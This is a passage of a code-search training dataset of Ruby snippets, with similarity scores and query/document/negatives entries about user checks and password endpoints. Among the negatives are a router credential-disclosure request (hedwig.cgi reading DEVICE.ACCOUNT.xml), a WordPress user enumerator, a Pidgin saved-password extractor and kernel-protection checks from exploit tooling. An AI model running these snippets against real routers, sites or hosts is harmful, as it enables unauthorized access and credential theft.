"def ami_bootstrapped?\n version = ''\n bootstrapped_file = '/opt/parallelcluster/.bootstrapped'\n current_version = \"aws-parallelcluster-cookbook-#{node['cluster']['parallelcluster-cookbook-version']}\"\n\n if ::File.exist?(bootstrapped_file)\n version = IO.read(bootstrapped_file).chomp\n Chef::Log.info(\"Detected bootstrap file #{version}\")\n if version != current_version\n raise \"This AMI was created with #{version}, but is trying to be used with #{current_version}. \" \\\n \"Please either use an AMI created with #{current_version} or change your ParallelCluster to #{version}\"\n end\n end\n\n version != '' && !(node['cluster']['skip_install_recipes'] == 'no' || node['cluster']['skip_install_recipes'] == false)\nend",
"def power_off\n if power_state == :off\n logger.info(\"Server is already powered-off.\")\n return true\n end\n client.exec(\"power off\")\n nil\n end",
"def hard_reboot(host)\n case host.isp.nome\n when 'OneProvider'\n op = op_api\n op.post('/server/action/', { 'server_id' => host.isp_server_id, 'action' => 'reboot' })\n when 'Kimsufi'\n ks = ks_api\n ks.post(\"/dedicated/server/#{host.isp_hostname}/reboot\")\n end\n end",
"def powered?\n respond_to? :isPowered ? isPowered : false\n end",
"def powered?\n respond_to? :isPowered ? isPowered : false\n end",
"def system_notificaton?\n @system_notificaton\n end",
"def boot_complete?\n out = `VBoxManage showvminfo \"#{@vbox_name}\" | grep 'Additions run level:'`\n print out if @verbose\n if out[-2..-2].to_i == 3\n return true\n end\n end",
"def linux?\n linux_internal?\n end",
"def ssh_service_restart\n case self['platform']\n when /debian|ubuntu|cumulus|huaweios/\n exec(Beaker::Command.new(\"service ssh restart\"))\n when /(el|centos|redhat|oracle|scientific)-[7-9]|eos-7|fedora-(1[4-9]|2[0-9]|3[0-9])|archlinux-/\n exec(Beaker::Command.new(\"systemctl restart sshd.service\"))\n when /el-|centos|fedora|redhat|oracle|scientific|eos/\n exec(Beaker::Command.new(\"/sbin/service sshd restart\"))\n when /opensuse|sles/\n exec(Beaker::Command.new(\"/usr/sbin/rcsshd restart\"))\n when /solaris/\n exec(Beaker::Command.new(\"svcadm restart svc:/network/ssh:default\"))\n when /(free|open)bsd/\n exec(Beaker::Command.new(\"sudo /etc/rc.d/sshd restart\"))\n else\n raise ArgumentError, \"Unsupported Platform: '#{self['platform']}'\"\n end\n end",
"def lkrg_installed?\n cmd_exec('test -d /proc/sys/lkrg && echo true').to_s.strip.include? 'true'\n rescue\n raise 'Could not determine LKRG status'\n end",
"def is_linux?\n return (!is_windows? && !is_unix?)\n end",
"def windows?\n # Is this a Windows based system\n @win ||= RbConfig::CONFIG['host_os'] =~ /mswin|msys|mingw|bccwin|wince|emc/\n end",
"def shutdown_when_done?\n !!runopts(:shutdown_when_done)\n end",
"def restart\n raise _(\"Server restart is only supported on Linux\") unless MiqEnvironment::Command.is_linux?\n\n _log.info(\"Server restart initiating...\")\n update_attribute(:status, \"restarting\")\n\n shutdown_and_exit(RESTART_EXIT_STATUS)\n end",
"def reboot(hard = false)\n return if @cloud_id.nil?\n\n if hard\n groupname = nil\n if !@config['basis'].nil?\n resp = MU::Cloud::AWS.autoscale(region: @config['region'], credentials: @config['credentials']).describe_auto_scaling_instances(\n instance_ids: [@cloud_id]\n )\n groupname = resp.auto_scaling_instances.first.auto_scaling_group_name\n MU.log \"Pausing Autoscale processes in #{groupname}\", MU::NOTICE\n MU::Cloud::AWS.autoscale(region: @config['region'], credentials: @config['credentials']).suspend_processes(\n auto_scaling_group_name: groupname\n )\n end\n begin\n MU.log \"Stopping #{@mu_name} (#{@cloud_id})\", MU::NOTICE\n MU::Cloud::AWS.ec2(region: @config['region'], credentials: @config['credentials']).stop_instances(\n instance_ids: [@cloud_id]\n )\n MU::Cloud::AWS.ec2(region: @config['region'], credentials: @config['credentials']).wait_until(:instance_stopped, instance_ids: [@cloud_id]) do |waiter|\n waiter.before_attempt do |attempts|\n MU.log \"Waiting for #{@mu_name} to stop for hard reboot\"\n end\n end\n MU.log \"Starting #{@mu_name} (#{@cloud_id})\"\n MU::Cloud::AWS.ec2(region: @config['region'], credentials: @config['credentials']).start_instances(\n instance_ids: [@cloud_id]\n )\n ensure\n if !groupname.nil?\n MU.log \"Resuming Autoscale processes in #{groupname}\", MU::NOTICE\n MU::Cloud::AWS.autoscale(region: @config['region'], credentials: @config['credentials']).resume_processes(\n auto_scaling_group_name: groupname\n )\n end\n end\n else\n MU.log \"Rebooting #{@mu_name} (#{@cloud_id})\"\n MU::Cloud::AWS.ec2(region: @config['region'], credentials: @config['credentials']).reboot_instances(\n instance_ids: [@cloud_id]\n )\n end\n end",
"def exec_shield_enabled?\n exec_shield = cmd_exec('cat /proc/sys/kernel/exec-shield').to_s.strip\n (exec_shield.eql?('1') || exec_shield.eql?('2'))\n rescue\n raise 'Could not determine exec-shield status'\n end",
"def shutdown?\n @shutdown_lock.synchronize {\n @shutting_down\n }\n end",
"def server_probably_launched?\n success? || server_error?\n end",
"def unix?\n !windows?\n end",
"def boot_from_iscsi?\n delegate(provider, :boot_from_iscsi?)\n end",
"def detect?(machine)\n machine.communicate.test(\"\")\n end"
] |
[
"0.8150368",
"0.7109402",
"0.68908954",
"0.6845607",
"0.6690215",
"0.6649649",
"0.65636176",
"0.6428496",
"0.6424352",
"0.6396949",
"0.63483363",
"0.6281973",
"0.6275097",
"0.62705183",
"0.6260348",
"0.6219535",
"0.6199073",
"0.6090886",
"0.60894275",
"0.60894275",
"0.606515",
"0.6048628",
"0.5990647",
"0.59390724",
"0.5933051",
"0.589889",
"0.5885971",
"0.58532697",
"0.58500445",
"0.58500445",
"0.5844274",
"0.58169717",
"0.5808502",
"0.5796196",
"0.57642657",
"0.5758363",
"0.57570297",
"0.57543516",
"0.57501763",
"0.57281315",
"0.5688238",
"0.5669235",
"0.5669235",
"0.566259",
"0.56567264",
"0.56389344",
"0.5638594",
"0.56361896",
"0.5606296",
"0.5592504",
"0.5592504",
"0.55891675",
"0.55891675",
"0.55877703",
"0.5587734",
"0.5576372",
"0.55589294",
"0.5534098",
"0.5534098",
"0.55285275",
"0.55195063",
"0.5510106",
"0.5510106",
"0.55062896",
"0.54960144",
"0.5495217",
"0.5479795",
"0.54615676",
"0.5452678",
"0.5433675",
"0.5432746",
"0.5421668",
"0.54052037",
"0.53976226",
"0.53811705",
"0.53811705",
"0.5375089",
"0.53531986",
"0.5352658",
"0.53520393",
"0.5347756",
"0.5342726",
"0.53296006",
"0.53296006",
"0.5307821",
"0.5304608",
"0.53024685",
"0.52916414",
"0.5291619",
"0.52905166",
"0.5287789",
"0.52869827",
"0.5284583",
"0.52756774",
"0.5275547",
"0.52720827",
"0.5268512",
"0.52569056",
"0.5226548",
"0.522509"
] |
0.7500692
|
1
|
method to check users first
|
def get_repos
if current_user.nil?
@repos = Repo.where(:user_id => nil)
else
@repos = current_user.repos
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def check\n api.get_user\n end",
"def check_init\n\t\tu = User.find_by(jive_id: params[:user])\n\t\tif u and u.jive_id > 0\n\t\t\trespond({ status: 0, message: \"User exists\", user: u, client: u.client })\n\t\telsif u\n\t\t\tif u.jive_id > 0\n\t\t\t\trespond({ status: 1, error: \"User is not in DB.\" })\n\t\t\telse\n\t\t\t\trespond({ status: 1, error: \"User needs a Jive ID.\" })\n\t\t\tend\n\t\telse\n\t\t\trespond({ status: 1, error: \"User not found.\" })\n\t\tend\n\tend",
"def my_login_required\n login_required unless User.count==0\n end",
"def requires_user_existence!\n if not e.user_exists?\n error \"You have to setup your user before you can perform this action.\"\n exit\n end\n end",
"def hasuser? username\n\t\t@cf.usermanager.user? username\t\t\n\tend",
"def check_necessity\n User.any? and redirect_to root_path\n end",
"def check_user\n if self.admin?\n return 1\n end\n return (session[:user_id] && User.find(session[:user_id])) ? 1 : nil\n end",
"def check_user\n return nil unless userlogin_signed_in?\n\n User.find_by(email: current_userlogin.email)\n end",
"def check_user\n @user = User.find(params[:user_id])\n redirect_to root_path unless current_user == @user\n end",
"def search_users\n unless @current_admin.is_super_admin\n unless @current_admin.privilages.include? '1'\n flash[:authority_error]=\"You are not authorized to navigate to this page \"\n redirect_to admin_index_path\n empty_user_id\n return\n end\n end\n empty_user_id\n @check=0\n @searched_user=User.new\n end",
"def user_check(resource)\n return true unless self[:name] == \"user\"\n return true unless self[:unless_system_user]\n\n resource[:audit] = :uid\n\n return false if system_users.include?(resource[:name])\n\n current_values = resource.retrieve_resource\n current_values[resource.property(:uid)] > self[:unless_system_user]\n end",
"def check_for_user\n if User.count == 0\n User.create({:login => \"admin\", :password => \"password\", :password_confirmation => \"password\", :name => 'blog owner', :email => \"none@none\", :time_zone => \"Europe/London\"})\n # Display the newly created users details\n notify \"No users found, so default user created: authenticate with login \\\"admin\\\", password \\\"password\\\", and then change your password.\"\n end\n login_required\n end",
"def checkUser\n if validUser\n return true\n else\n flash[:alert] = \"Unauthorized Access!!\"\n redirect_to profile_path(current_user)\n end\n end",
"def find_user\n self.user_lookup_failed = false\n unless self.user_ids.blank?\n my_users = User.scoped.extending(QueryHelper::WhereIn).where_in('id', self.user_ids)\n unless my_users.blank?\n self.users = my_users\n else\n self.user_lookup_failed = true\n end\n end\n # be sure the call back returns true or else the call will fail with no error message\n # from the validation loop\n return true\n end",
"def check_user\n\n redirect_to root_path if current_user == nil\n if current_user \n redirect_to root_path if current_user.vendor == false\n end\n end",
"def fetch_and_validate_user\n @user = User.using_client_shard(client: @client).where(client_id: @client_id, email: @email).is_active.first\n return error_with_identifier('invalid_api_params',\n 'um_u_c_ve_2',\n ['user_already_present']\n ) if @user.present?\n\n success\n end",
"def login_check\n if session[:user_id].present?\n unless (controller_name == \"user\") and [\"first_login_change_password\",\"login\",\"logout\",\"forgot_password\"].include? action_name\n user = User.active.find(session[:user_id])\n \n \n end\n end\n end",
"def check_username\n @user=User.where('username=?',params[:username])\n @user=[] if user_signed_in? && @user && @user.first==current_user # this means they are editing their username and its themselves, that is ok\n end",
"def check_correct_user(user)\n \tcurrent_user?(user)\n end",
"def is_user?\ncurrent_user.username == @userl.username\n end",
"def status_getuser?()\n return true if (@status == TAC_PLUS_AUTHEN_STATUS_GETUSER)\n return false\n end",
"def check\n user = Account.find_by(email: params[:user_email].downcase)\n if user.nil?\n flash.alert = \"User does not exist please signup.\"\n redirect_to \"/login\"\n else\n redirect = login_compare(user,params[:user_password])\n redirect_to redirect\n end\n end",
"def checkUser(user)\n\treturn getAllUsersWithRoster().include?(user)\nend",
"def check_found_user(u, path)\n if u.nil?\n @msg.add(:error, \"Counld not find the user.\");\n render(path);\n return false;\n end\n return true;\n end",
"def User?(_Id, _Pwd)\r\n _Flag = 0\r\n _Users = YAML.load(File.read(\"_User_Info.yml\"))\r\n #puts \"_Users: #{_Users}\"\r\n if !(_Users)\r\n else\r\n\r\n _Users.each do |user|\r\n if user.has_value?(_Id.to_i) && user.has_value?(_Pwd)\r\n _Flag = 1 #existing user with matching password\r\n puts \"Welcome back #{user[:Name]}!!\"\r\n end\r\n end\r\n end\r\n return _Flag\r\nend",
"def check_user\n @user = authenticate(@campaign.user_id, request.path, nil)\n end",
"def kon_user_account_checking\n user_array = User.kon_search(params[:name])\n if user_array.length \n end\n end",
"def first_user?\n return false unless options.keys.count == FIRST_USER_OPTIONS_COUNT\n return false unless options.key?(FIRST_USER_FLAG)\n\n Console::User.first_user?(options[FIRST_USER_FLAG])\n end",
"def one_user_registered?\n if User.count == 1\n if user_signed_in?\n redirect_to root_path\n else\n redirect_to new_user_session_path\n end\n end \n end",
"def check_user\n if (!user_signed_in?)\n redirect_to root_path, notice: 'You must log in to do that'\n end\n # if (!current_user.superadmin_role)\n # redirect_to root_path, notice: 'You do not have permissions to do that'\n # end\n end",
"def user_check(id)\n check_user = User.find(id)\n if check_user != current_user\n flash[:notice] = \"You can only modify your own user information.\"\n redirect_to user_path(check_user)\n end\n end",
"def check_login!\n u = check_and_get_user\n redirect to('/signin.html') unless u\n u\n end",
"def check_user_id\n if self.user_id.nil?\n set_user_id\n end\n end",
"def check_user\n unless @user == current_user\n flash[:alert] = \"You don't have permission to access this page.\"\n redirect_to root_path\n end\n end",
"def user_check(id)\n check_user = User.find(id)\n if check_user != current_user\n flash[:notice] = \"You can only modify your own user information.\"\n redirect_to user_path(user)\n end\n end",
"def user?\n @user = User.find_by(email: @email) if @userinfo\n\n # No user with that email so create the user with auth0_id.\n create_user_and_login @userinfo if @user.nil?\n end",
"def show\n check_user\n end",
"def check_user\n if user_signed_in?\n else\n redirect_to root_path, :alert => \"Unauthorised Access\"\n end\n \n end",
"def check_user\n if user_signed_in?\n else\n redirect_to root_path, :alert => \"Unauthorised Access\"\n end\n \n end",
"def wait_for_user?(username)\n @wait_for_user ||= begin\n ent = Etc.getpwnam(username) rescue nil\n ent.nil? ? true : false\n end\nend",
"def set_user_and_verify #TODO: Make this common to both items and tags\n @user = User.find_by(id: params[:user_id])\n if @user.blank?\n head :forbidden\n end\n end",
"def user_have\n unless current_user\n redirect_to root_path, :alert => \"Зарегистрируйтесь или войдите\"\n end\n end",
"def status_getuser!()\n @status = TAC_PLUS_AUTHEN_STATUS_GETUSER\n end",
"def check_user\n if current_user.nil?\n render status: :forbidden, json: false\n return\n end\n end",
"def check_email\n @user=User.where('email=?',params[:email])\n @user=[] if user_signed_in? && @user && @user.first==current_user # this means they are editing their email address and its themselves, that is ok\n end",
"def super_user?\n user = check_user\n # user.email == 'vetswithoutborderstamu@gmail.com'\n user.email == 'bryalara@tamu.edu'\n end",
"def check_user_status\n user = current_user\n if user && user.status != 2\n redirect_to signupcode_settings_path\n end\n end",
"def check_user_info_initialized\n exists = UserInfo.exists?(current_user.id)\n create = controller_name == 'user_infos' && %w(new create).include?(action_name)\n if exists && create\n redirect_to(user_info_path)\n elsif !exists && !create\n flash[:notice] = \"Page will be available after filling in your information.\"\n redirect_to(new_user_info_path)\n end\n end",
"def login_check\n if not is_logged_in session\n # should never get in here\n redirect_to :action => :index\n end\n sunet = session[:user_hash][\"username\"]\n if User.find_by_sunet(sunet)\n redirect_to :action => :index\n else\n # create new user\n gn = session[:user_hash][\"gn\"] || \"\"\n sn = session[:user_hash][\"sn\"] || \"\"\n phone = session[:user_hash][\"phone_number\"] || \"\"\n major = session[:user_hash][\"org\"] || \"\"\n @user = User.new(:sunet => sunet, :first_name => gn.titlecase, :last_name => sn.titlecase, :bio => \"I dance for Basmati Raas!\", :is_alumni => false, :is_undergrad => true, :phone => phone, :major => major)\n @user.save\n flash[:notice] = \"Welcome! We started filling out your profile. Please upload a picture and update your information.\"\n redirect_to \"/users/#{@user.id}/edit\"\n end\n end",
"def login_check\n if not is_logged_in session\n # should never get in here\n redirect_to :action => :index\n end\n sunet = session[:user_hash][\"username\"]\n if User.find_by_sunet(sunet)\n redirect_to :action => :index\n else\n # create new user\n gn = session[:user_hash][\"gn\"] || \"\"\n sn = session[:user_hash][\"sn\"] || \"\"\n phone = session[:user_hash][\"phone_number\"] || \"\"\n major = session[:user_hash][\"org\"] || \"\"\n @user = User.new(:sunet => sunet, :first_name => gn.titlecase, :last_name => sn.titlecase, :bio => \"I dance for Basmati Raas!\", :is_alumni => false, :is_undergrad => true, :phone => phone, :major => major)\n @user.save\n flash[:notice] = \"Welcome! We started filling out your profile. Please upload a picture and update your information.\"\n redirect_to \"/users/#{@user.id}/edit\"\n end\n end",
"def check_user_id_presence\n if helpers.user_id.nil?\n cookies.encrypted.permanent[:user_id] = SecureRandom.hex\n helpers.initial_setup\n render 'welcome'\n end\n end",
"def user_checks\n current_user = @current_package.user\n current_ability = Ability.new(current_user)\n errors = []\n errors = check_current_user(current_user, errors)\n return errors unless errors.empty?\n errors << \"User does not exist in the system: #{@current_package.manifest.email}.\" if current_user.nil?\n errors << \"User #{current_user.user_key} does not have permission to add items to collection: #{collection.name}.\" unless current_ability.can?(:read, collection)\n errors\n end",
"def check_current_user_owns\n head :not_found unless @user == current_user\n end",
"def check_current_user\n @user = User.find(params[:id])\n redirect_to(root_url) unless current_user?(@user) || is_manager_or_admin?\n end",
"def isAllowUser(request) \n return httpRequest('check_newuser',request)\n end",
"def user?(user)\n users.include? user\n end",
"def user\n @user = users(:exist)\n end",
"def ensure_user_created\n if User.find_by_ldap_uid(ldap_user.uid)\n Rails.logger.debug(\"User in user table.\")\n true\n else\n Rails.logger.debug(\"User not in user table, redirecting to new user form.\")\n redirect_to(new_users_url) and return\n end\n end",
"def within_first? counter\n User.manager.count <= counter ? true : false\n end",
"def user?(name)\n eval(USER_CHECK, binding, __FILE__, USER_CHECK_LINE)\n nil\nend",
"def check_authentication\n authenticate_user\n end",
"def dummy_user?\n (user_id.split('/').first == 'gofreerev')\n end",
"def dummy_user?\n (user_id.split('/').first == 'gofreerev')\n end",
"def check_user\n if user_signed_in? && (current_user.has_role?(:admin) || current_user.id == @listing.user_id )\n else \n flash[:alert] = \"You are not authorized to do that!\"\n redirect_to root_path\n end\n end",
"def has_user?(name, options={})\n run(\"id #{name}\").success?\n end",
"def check_its_me\n check_user_signed_in if is_it_me?\n end",
"def first_login\n if !current_user.adm? && (!current_user.last_name.present? || !current_user.email.present? || \n !current_user.job.present? || !current_user.cpf.present? || current_user.email == (0...6).map { ('a'..'z').to_a[rand(26)] }.join+\"@facebook.com\") \n redirect_to edit_user_path(current_user)\n flash[:info] = \"Complete seu cadastro!\"\n \n if !current_user.last_name.present?\n flash[:info] = \"Sobrenome não registrado.\"\n end\n \n if !current_user.email.present?\n flash[:info] = \"Email não registrado.\"\n end\n \n if !current_user.job.present?\n flash[:info] = \"Trabalho não registrado.\"\n end\n \n if !current_user.cpf.present?\n flash[:info] = \"CPF não registrado.\"\n end\n \n if current_user.email == (0...6).map { ('a'..'z').to_a[rand(26)] }.join+\"@facebook.com\"\n flash[:info] = \"Registre o seu email.\"\n end\n end\n end",
"def checkUser(userName)\n @users = User.all\n @users.each do |user|\n if user[\"userName\"] == userName\n return user\n end\n end\n return false\n end",
"def made_request?(user)\n all_users.include?(user)\n end",
"def check_current_user\n redirect_to '/' unless @user.id == current_user.id\n end",
"def user\n\t\tfalse\n\tend",
"def check_if_user\n render text: \"Fuck you user\", status: 403 unless current_user.id == @book.user_id || current_user.rank_id == 2\n end",
"def checkUser(id)\n results = HTTParty.get(\"http://192.168.99.101:4051/users/search_user?id=\" + id.to_s)\n return results\n end",
"def require_user\n end",
"def wp_users_check(site=@site, verbose=true)\n usernames=[]\n test_urls = []\n (0..10).each {|x| test_urls << site.sub(/\\/$/, '') + \"/?author=#{x}\" }\n $config['HTTP']['PROGRESS'] = true # Enable progressbar\n mresponses = @http.multi_get(test_urls) # Curl Multi Mode Makes the Checks Faster\n $config['HTTP']['PROGRESS'] = false # Disable progressbar\n test_urls.each do |url| # Check results...\n # Check Location Header on 302 for Username...\n if mresponses[url].response_code == 301 or mresponses[url].response_code == 302\n mresponses[url].header_str.split(\"\\n\").each do |hline|\n header_name = hline.split(':')[0]\n header_value = hline.split(':')[1..-1].join('/').sub(\"\\r\", '')\n if header_name =~ /Location/i\n user = header_value.split('/')[-1].to_s.strip.chomp\n usernames << user unless usernames.include?(user)\n end\n end\n end\n # Check Body for Username Info...\n if mresponses[url].body_str =~ /^<link rel=\"alternate\" type=\"application\\/rss\\+xml\" title=\".+ » .+\" href=\".+\\/author\\/(.+)\\/feed\\//\n user = $1.strip.chomp\n usernames << user unless usernames.include?(user)\n end\n end\n if usernames.uniq.size > 0\n if verbose\n print_good(\"Found #{usernames.uniq.size} users: \")\n usernames.uniq.each {|u| print_line(\" #{u.strip.chomp}\") }\n end\n return usernames\n end\n return nil \n end",
"def check_login_info\n # @signed_up = false\n # something\n # @signed_up = true\n \n # get \"/user_sign_in/\"\n if (User.find_by_name \"#{params[:un]}\")\n redirect_to(\"/user/:#{params[:un]}\")\n else\n redirect_to(\"/sign_up/\")\n end \n end",
"def check_user\n unless current_user.nil?\n return if current_user.admin?\n @activity = current_user.activities.find_by_id(params[:id])\n end\n if @activity.nil?\n flash[:error] = \"权限不足\"\n redirect_to Activity.find(params[:id])\n end\n end",
"def has_user?\n !user.nil?\n end",
"def load_valid_user\n load_user_from_param\n redirect_no_user\n end",
"def does_user_exist (username)\n user = Account.find_by(:user_name=> username)\n if user\n return true\n else\n return false\n end\nend",
"def user_verification?; end",
"def needs_login?() false end",
"def user?(username)\n\t\t\t\tif(users.has_key?(username))\n\t\t\t\t\treturn(true)\n\t\t\t\tend\n\n\t\t\t\treturn(false)\n\t\t\tend",
"def _user? name\n\t\tuid = DB[:_user].filter(:name => name).get(:uid)\n\t\tuid ? true : false\n\tend",
"def user_exists?(name)\n @users.member?(name)\n end",
"def check_user_access\n check_access_and_redirect(@request)\n end",
"def check_user_background\n self.status = Status::PENDING_ADMIN_ACTION if offender && offender.new_user?\n end",
"def check_for_guest\n if(params[:user_id]) then \n @user=User.find(params[:user_id])\n else\n @user=nil\n end\n @user\n end",
"def load_user\n @user = User.find_by_login(params[:user_id])\n @check_ownership_of = @user\n end",
"def load_user\n @user = User.find_by_login(params[:user_id])\n @check_ownership_of = @user\n end",
"def has_user(user_id)\n if self.user_id == user_id\n puts 'You are the mod!'\n return false\n end\n last_registered_player_id = self.last_registered_player_id.to_i\n if last_registered_player_id == -1\n puts \"No user are signed up for this game.\"\n return false\n end\n while last_registered_player_id != -1\n curr_player = Player.find(last_registered_player_id)\n if curr_player.user_id == user_id\n return true\n end\n last_registered_player_id = curr_player.prev_player_id\n end\n return false\n end",
"def has_user?(user)\n self.users.include?(user)\n end",
"def require_valid_user!\n return true\n end",
"def user_exists(user)\n users.include? user\n end",
"def check_user_correct\n # Fetch user by id\n @user = User.find(params[:id])\n\n # Redirect to home page if wrong user or not admin\n unless @user == logged_in_user || logged_in_user.admin?\n redirect_to root_url\n end\n end",
"def valid_user\n # unless (@user && @user.activated? && @user.authenticated?(:reset, params[:id])) \n unless(@user && @user.activated?)\n redirect_to root_url\n end\n end",
"def exists?(name)\n find_user(name)&.size != 0\n end",
"def check_login\n if !session[:user_name]\n redirect_to sign_in_path\n end\n end",
"def user_check\n if user_signed_in?\n render status: :ok, json: current_user\n else\n render status: :forbidden, nothing: true\n end\n end",
"def user_is_current\n fetch_user\n\n unless current_user?(@user)\n flash[:error] = t(:not_authorized)\n redirect_to root_path\n end\n end",
"def authenticate!\n\t #when we solve the require relative problem write the line: unless session[:user_id] && User.where(id: session[:user_id])\n\n\t\tif session[:user_id] && User.where(id: session[:user_id]).exists? #if the user id saved in session does not belong to any user, also direct to general homepage\n\t\t\ttrue\n\t\telse\n\t\t\tsession[:original_request] = request.path_info\n\t\t\tfalse\n\t\tend\nend"
] |
[
"0.74737084",
"0.7144118",
"0.6981033",
"0.69686687",
"0.6930527",
"0.6929419",
"0.69018894",
"0.68967444",
"0.6889641",
"0.6842895",
"0.6815142",
"0.67737615",
"0.6733749",
"0.6717444",
"0.66556",
"0.66526216",
"0.6645576",
"0.66378266",
"0.6631399",
"0.66022944",
"0.66017795",
"0.659999",
"0.65880716",
"0.6572772",
"0.6564511",
"0.65498334",
"0.6547657",
"0.65283674",
"0.6525807",
"0.65255123",
"0.65247095",
"0.6517387",
"0.6507934",
"0.6504213",
"0.64937747",
"0.64915174",
"0.648009",
"0.64794797",
"0.64794797",
"0.64666694",
"0.6448431",
"0.6442986",
"0.6434789",
"0.63925505",
"0.6389068",
"0.6383335",
"0.6381445",
"0.637201",
"0.63670546",
"0.63670546",
"0.6365371",
"0.63614506",
"0.63605535",
"0.63573855",
"0.63495183",
"0.6343214",
"0.6333083",
"0.6329025",
"0.6318685",
"0.6317306",
"0.6313047",
"0.6311899",
"0.6311899",
"0.6303348",
"0.63025856",
"0.6295668",
"0.62951636",
"0.629153",
"0.627969",
"0.62732506",
"0.62715",
"0.6270291",
"0.62647444",
"0.62569755",
"0.62527066",
"0.6251572",
"0.6245721",
"0.6237331",
"0.62370616",
"0.6234132",
"0.6232865",
"0.62290543",
"0.62233156",
"0.6223229",
"0.62216836",
"0.62172467",
"0.6211463",
"0.6210115",
"0.6208895",
"0.6208895",
"0.6205085",
"0.6204753",
"0.6203155",
"0.61994267",
"0.61983174",
"0.61949754",
"0.61856145",
"0.61755425",
"0.616691",
"0.6165717",
"0.6153262"
] |
0.0
|
-1
|
GET /passwords/1 GET /passwords/1.xml
|
def show
@password = Password.find(params[:id])
@p_access = PasswordAccess.new(:password_id => @password.id, :accessable_id => current_user.id, :accessed_at => DateTime.now, :action => "Viewed" )
@p_access.save
respond_to do |format|
format.html # show.html.erb
format.xml { render :xml => @password }
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def me\n users(request(\"users/authenticate.xml\", :auth => true))\n end",
"def new\n @password = Password.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @password }\n end\n end",
"def password\n respond_to do |format|\n format.html\n format.json { render json: { :password => get_password } }\n end\n end",
"def index\n @xmt_mgr_passwords = Xmt::Password.all\n end",
"def index\n @passwords = current_user.passwords\n end",
"def retrieve_creds\r\n begin\r\n xml = \"<?xml version=\\\"1.0\\\" encoding=\\\"utf-8\\\"?>\\r\\n\"\r\n xml << \"<postxml>\\r\\n\"\r\n xml << \"<module>\\r\\n\"\r\n xml << \" <service>../../../htdocs/webinc/getcfg/DEVICE.ACCOUNT.xml</service>\\r\\n\"\r\n xml << \"</module>\\r\\n\"\r\n xml << \"</postxml>\"\r\n res = send_request_cgi({\r\n 'uri' => '/hedwig.cgi',\r\n 'method' => 'POST',\r\n 'encode_params' => false,\r\n 'headers' => {\r\n 'Accept-Encoding' => 'gzip, deflate',\r\n 'Accept' => '*/*'\r\n },\r\n 'ctype' => 'text/xml',\r\n 'cookie' => \"uid=#{Rex::Text.rand_text_alpha_lower(8)}\",\r\n 'data' => xml,\r\n })\r\n if res.body =~ /<password>(.*)<\\/password>/ # fixes stack trace issue\r\n parse = res.get_xml_document\r\n username = parse.at('//name').text\r\n password = parse.at('//password').text\r\n vprint_good(\"#{peer} - Retrieved the username/password combo #{username}/#{password}\")\r\n loot = store_loot(\"dlink.dir850l.login\", \"text/plain\", rhost, res.body)\r\n print_good(\"#{peer} - Downloaded credentials to #{loot}\")\r\n return username, password\r\n else\r\n fail_with(Failure::NotFound, \"#{peer} - Credentials could not be obtained\")\r\n end\r\n rescue ::Rex::ConnectionError\r\n fail_with(Failure::Unknown, \"#{peer} - Unable to connect to target.\")\r\n end\r\n end",
"def index\n @passwords = Password.all;\n end",
"def show\n @user = User.find(params[:id])\n render :xml => @user.to_xml(:except => [ :password ])\n end",
"def passwords_file\n dir['passwords']\n end",
"def fetch(password)\r\n end",
"def index\n @user = User.find(self.current_user.id)\n \n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @credentials }\n end\n end",
"def extract_creds(path)\n\taccounts_xml = \"\"\n\tcreds = \"\"\n\tprint_status(\"Reading accounts.xml file...\")\n\t### modified to use pidgin_path, which already has .purple in it\n\taccount_file = @client.fs.file.new(path + \"\\\\accounts.xml\", \"rb\")\n\tuntil account_file.eof?\n\t\taccounts_xml << account_file.read\n\tend\n\taccount_file.close\n\tdoc = (REXML::Document.new accounts_xml).root\n\tdoc.elements.each(\"account\") {|element|\n\t\tpassword = \"<unknown>\"\n\t\tif element.elements[\"password\"]\n\t\t\tpassword=element.elements[\"password\"].text\n\t\tend\n\n\t\tprint_status(\"\\tProtocol: #{element.elements[\"protocol\"].text}\")\n\t\tprint_status(\"\\tUsername: #{element.elements[\"name\"].text}\")\n\t\tprint_status(\"\\tPassword: #{element.elements[\"password\"].text}\")\n\t\tprint_status(\"\\tServer: #{element.elements[\"settings\"].elements[\"setting[@name='server']\"].text}\")\n\t\tprint_status(\"\\tPort: #{element.elements[\"settings\"].elements[\"setting[@name='port']\"].text}\")\n\t\tprint_status()\n\n\t\tcreds << \"user=>#{element.elements[\"name\"].text}\"\n\t\tcreds << \"\\tpass=>#{password}\"\n\t\tcreds << \"\\tserver=>#{element.elements[\"settings\"].elements[\"setting[@name='server']\"].text}\"\n\t\tcreds << \":#{element.elements[\"settings\"].elements[\"setting[@name='port']\"].text}\"\n\t\tcreds << \"\\tproto=>#{element.elements[\"protocol\"].text}\\n\"\n\t}\n\treturn creds\nend",
"def get_password(type, key, password = nil)\n if ['db', 'user', 'service'].include?(type)\n secret node['openstack']['secret'][\"#{type}_passwords_data_bag\"], key, password\n else\n ::Chef::Log.error(\"Unsupported type for get_password: #{type}\")\n end\n end",
"def get_password(type, key)\n unless [:db, :user, :service, :token].include?(type)\n Chef::Log.error \"Unsupported type for get_password: #{type}\"\n return\n end\n\n if node[:garcon][:use_databags]\n if type == :token\n secret node[:garcon][:secret][:secrets_data_bag], key\n else\n secret node[:garcon][:secret][\"#{type}_passwords_data_bag\"], key\n end\n else\n node[:garcon][:secret][key][type]\n end\n end",
"def apikey(username, password)\n md5 = Digest::MD5.new\n digest = md5.update(password).hexdigest\n\n query = { action: 'apikey', userName: username, password: digest }\n get('apikey', query) { |x| x['apikey'] }\n end",
"def password\n connect\n password = self.class.query('CMD_API_VERIFY_PASSWORD',\n :user => resource[:username],\n :passwd => resource[:password]\n )\n if password[\"valid\"] == \"1\"\n return resource[:password]\n else\n return \"********\"\n end\n end",
"def password\n conf['api']['password']\n end",
"def show\n @person.password = \"***************\"\n respond_to do |format|\n format.html\n format.json { render json: @person }\n format.xml { render :xml => @person.to_xml }\n end\n end",
"def verify_credentials\n get('/account/verify_credentials.json')\n end",
